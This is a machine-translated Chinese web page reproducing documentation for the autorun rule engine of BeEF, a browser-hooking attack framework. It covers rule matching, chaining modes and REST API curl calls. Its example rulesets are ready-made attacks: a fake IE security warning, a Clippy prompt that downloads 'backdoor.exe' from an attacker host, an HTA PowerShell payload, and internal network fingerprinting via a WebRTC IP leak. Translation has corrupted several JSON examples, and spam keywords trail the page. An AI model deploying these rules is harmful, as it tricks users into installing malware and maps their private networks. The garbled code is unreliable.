<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    BeEF 自動運行規則引擎

    介紹

    自動運行規則引擎(ARE)是BeEF的核心組件,它允許您定義在滿足某些條件時在掛鉤的瀏覽器中自動觸發的規則。

    如果您是BeEF的狂熱愛好者,您可能已經等了很長時間了:-)舊的靜態自動運行功能已被刪除。新ARE的主要功能如下:

    • 動態:
      • <beef_root>/arerules/enabled在啟動時從目錄中預加載規則,或者在BeEF運行時在運行時加載它們,然后在每個已掛接的瀏覽器上觸發它們。
      • RESTful API調用將在后面詳細介紹。
    • 非侵入式:
      • 命令模塊現在支持返回執行狀態和結果數據(可用于鏈接)。
      • 這不需要大量的重構,只需對API進行一些智能的更改即可。
      • 默認情況下,不適用于以嵌套前向鏈接模式運行的命令模塊返回UNKNOWN狀態。您仍然可以使用順序鏈接模式啟動它們。
      • 如果需要將模塊的輸出/輸入鏈接起來,則如果規則處于嵌套轉發鏈接模式(在此后面有更多介紹),則需要向命令模塊添加一兩行防呆JavaScript。

    匹配

    成功掛接后,ARE會檢查core_arerules表中存在的任何規則集是否與掛接的瀏覽器匹配。檢查了各種掛鉤的瀏覽器屬性:

    • 瀏覽器類型和版本
    • 操作系統類型和版本
    • (WIP)插件類型/版本
    • (WIP)OS架構

    匹配示例

    僅在OSX Yosemite或更低版本的Safari瀏覽器> = 7上觸發。
    {
      "browser": "S",
      "browser_version": ">= 7",
      "os": "OSX",
      "os_version": "<= 10.10"
    }
    僅在Windows 7或更高版本的Internet Explorer(任何版本)上觸發。
    { 
      “ browser”:“ IE” ,
      “ browser_version”:“ ALL” ,
      “ os”:“ Windows” ,
      “ os_version”:“> = 7}
    僅在任何Linux系統上的Firefox(至少31版)上觸發。
    { 
      “ browser”:“ FF” ,
      “ browser_version”:“> = 31” ,
      “ os”:“ Linux” ,
      “ os_version”:“ ALL}

    以下是ARE支持的允許的瀏覽器/操作系統類型和版本:

      瀏覽器 =  [ 'FF''C''IE''S''O''ALL' ] 
      OS  =  [ 'Linux''Windows''OSX''Android''iOS''BlackBerry''ALL' ] 
      VERSION  =  [ '<''<=''==''> =''>''ALL''Vista''XP' ]

    查看browser.jsos.js(在中找到<beef_root>/core/main/client)以確切了解所支持的內容。

    鏈接模式

    當前有兩種實現的鏈接模式,它們可以滿足您的大多數客戶端需求。

    順序的

    調用具有不同可配置時間延遲的N個模塊。順序模式將模塊主體包裝在其自身的函數中,setTimeout()如果指定了時間,則使用它們進行延時調用。執行順序也可用于讓您以有組織的方式在JSON文件中寫下模塊,然后以不同的順序調用它們。

    請注意,未檢查模塊執行狀態,并且結果將被忽略。如果只想啟動某些模塊而不用擔心它們的狀態,則很有用(例如,一組目標上的一堆盲目的XSRF)。此外,如稍后所述,此鏈接模式允許您啟動尚未為BeEF ARE準備的N個模塊(即,它們不返回有關執行狀態或結果數據的信息)。

    結果包裝器是這樣的:

     setTimeout (module_one (),   0; 
     setTimeout (module_two (),   2000; 
     setTimeout (module_three (), 3000;

    順序鏈接示例

    顯示虛假通知

    在Windows 7或更高版本上僅定位IE> = 10的IE,然后在2秒后使用預先安裝在BeEF中的自定義僅限Windows的吸管調用Clippy模塊。

    {
      "name": "Ie Fake Notification + Clippy",
      "author": "antisnatchor",
      "browser": "IE",
      "browser_version": ">= 10",
      "os": "Windows",
      "os_version": ">= 7",
      "modules": [
        {
          "name": "fake_notification_ie",
          "condition": null,
          "options": {
            "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
          }
        }
      ,{
          "name": "clippy",
          "condition": null,
          "options": {
            "clippydir": "http://clippy.ajbnet.com/1.0.0/",
            "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
            "executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
            "respawntime":"5000",
            "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
          }
        }
      ],
      "execution_order": [0,1],
      "execution_delay": [0,2000],
      "chain_mode": "sequential"
    }

    嵌套轉發

    調用N個模塊,其中僅當N-1返回某個狀態時才執行模塊N。模塊N可以將模塊N-1的輸出用作輸入(最終在處理它之前先對其進行處理)。

    嵌套轉發模式將模塊主體包裝在它們自己的功能中,然后從第一個主體開始執行它們,輪詢命令執行狀態/結果(具有可配置的輪詢間隔和超時)。在執行鏈中的第一個模塊后,根據指定的模塊條件,執行將繼續或停止。

    嵌套轉發鏈接示例

    僅當已知掛鉤的瀏覽器內部IP時,才鏈接內部網絡指紋活動

    兩個模塊鏈接在一起:get_internal_ip_webrtcinternal_network_fingerprinting

    { 
    “ modules”:[ 
        { “ name”:“ get_internal_ip_webrtc” ,
          “ condition”:null ,
          “ code”:null ,
          “ options”:{ } 
        }{ “ name”:“ internal_network_fingerprinting” ,
          “ condition”:“ status == 1“ ,
          ” code“:” var s = get_internal_ip_webrtc_mod_output.split('。'; var start = parseInt(s [3]-1; var end = parseInt(s [3]+ 1; var mod_input = s [0] +'。'+ s [1] +'。'+ s [2] +'。'+ start +'-'+ s [0] +'。'+ s [1] +'。'+ s [2] +'。'+ end;“ ,
          ” options“:{
            “ ipRange”:“ << mod_input >>” ,
            “ ports”:“ 80” ,
            “ threads”:“ 5” ,
            “ wait”:“ 2” ,
            “ timeout”:“ 10} 
        } 
      ]] ,
      “ execution_order”:[ 01 ] ,
      “execution_delay” :[ 00 ] ,
      “chain_mode” : “nested-forward” 
    }

    為此規則創建的包裝將類似于:

    module_one()
    if condition
         /* input for the second module is the IP retrieved via the first module, 
          * with code() executed before calling the function
          */
         code()
         module_two(module_one_output) 
    

    這也是第二個模塊輸入期望與第一個模塊輸出不同的情況之一,因此我們需要一種更改模塊輸出的方法。code屬性允許您指定任意JavaScript(無多行,僅一行)。

    在這種情況下,我們假設第一個模塊的輸出為172.16.35.2。但是,第二個模塊需要一個類似以下的輸入:(start_ip-stop_ip172.16.35.1-172.16.35.3)用于內部網絡指紋識別。

    以下是第二個模塊的代碼屬性值:

    var s = get_internal_ip_webrtc_mod_output.split('.');
    var start = parseInt(s[3])-1;
    var end = parseInt(s[3])+1;
    var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;

    如您所見,它是防呆的。這里有幾件事要注意:

    • 條件:
      • 如果只想繼續執行,則值為null。或者,您可以檢查以前的命令模塊執行狀態:
    status==1  // continue if previous module execution status is success
    status==0  // continue if previous module execution status is unknown
    status==-1 // continue if previous module execution status is error
    • 碼:
      • 如上所示的任意JavaScript。
      • 使用<<mod_input>>如在規則集(如命令模塊選件(輸入)"ipRange":"<<mod_input>>"),并確保你聲明var mod_input='something';的代碼屬性值的變量。
      • 您可以使用<command_module_name>_mod_outputget_internal_ip_webrtc_mod_output在上一個示例中)引用前一個模塊的輸出。
      • 請注意,get_internal_ip_webrtcBeEF command.js已修改為返回執行狀態和結果數據(內部IP):
    get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
    
    /*
     * Generic syntax:
     * <module_name>_mod_output = [beef.are.status_success(), module_result_data];
     * beef.are.status_success() -> status 1
     * beef.are.status_unknown() -> status 0 
     * beef.are.status_error()   -> status -1
     */

    由于大多數命令模塊都是異步的,這意味著它們可能會在不確定的時間內返回,因此有必要每X毫秒輪詢一次命令狀態/結果,直到指定的超時為止。這是自動處理的,可以在主BeEF config.yaml文件中指定輪詢/超時值:

    # Autorun Rule Engine
    autorun:
      # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
      # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or   eventually 
      # continue execution regardless of results.
      # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the   timeout.
      result_poll_interval: 300
      result_poll_timeout: 5000
    
      # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
      # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
      continue_after_timeout: true

    RESTful API

    為了更輕松地與其他工具或您自己的自定義腳本集成,RESTful API端點也可用于ARE。

    添加規則

    規則集(ie_win_htapowershell.json):

    {
      "name": "HTA PowerShell",
      "author": "antisnatchor",
      "browser": "IE",
      "browser_version": "ALL",
      "os": "Windows",
      "os_version": ">= 7",
      "modules": [
        {
          "name": "fake_notification_ie",
          "condition": null,
          "options": {
            "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
          }
        },
        {
          "name": "hta_powershell",
          "condition": null,
          "options": {
            "domain":"http://172.16.45.1:3000",
            "ps_url":"/ps"
          }
        }],
      "execution_order": [0,1],
      "execution_delay": [0,500],
      "chain_mode": "sequential"
    }

    要將其添加到BeEF中,請使用以下cURL請求:

    curl -H "Content-Type: application/json; charset=UTF-8" --data "@ie_win_htapowershell.json" -X POST http://172.16.45.1:3000/api/autorun/rule/add?token=xyz

    如果操作成功,則將返回rule_id,以便與其他API調用一起使用。

    觸發規則

    默認情況下,成功掛鉤瀏覽器后,規則僅觸發一次。但是,在某些情況下,您需要添加然后立即觸發規則集。

    例如,您在網絡釣魚活動中預先加載了5條規則,但其中沒有一條適用于Android。同時,您會發現許多新吸引的Android目標。ARE足夠靈活,可以讓您(在運行時)添加新規則,然后在需要使用已摘機的瀏覽器時觸發它們。

    在最后一個示例之后,假設新添加的規則的ID為1,則可以使用以下請求在每個在線掛鉤的瀏覽器上觸發它:

    curl http://172.16.45.1:3000/api/autorun/rule/trigger/1?token=xyz

    刪除規則

    這是不言而喻的;-)

    curl http://172.16.45.1:3000/api/autorun/rule/delete/1?token=xyz

    清單規則

    如果您需要使用JSON檢索規則定義數據,則可以通過兩種方式進行:

    通過ID(此處的ID為1)獲取特定的規則集:

    curl http://172.16.45.1:3000/api/autorun/rule/list/1?token=xyz

    獲取數據庫中的所有規則集:

    curl http://172.16.45.1:3000/api/autorun/rule/list/all?token=xyz

    如果成功,這兩個調用將返回類似以下內容:

    {
        "success": true,
        "rules": [
            {
                "id": 2,
                "name": "HTA PowerShell",
                ...
            },
            {
                "id": 3,
                "name": "Get Internal IP (WebRTC)",
                ...
            }
        ]
    }

    規則范例

    ARE不斷發展,因此在不久的將來可能會有更多的規則集。所有公共規則集都將在BeEF主存儲庫內<beef_root>/arerules

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类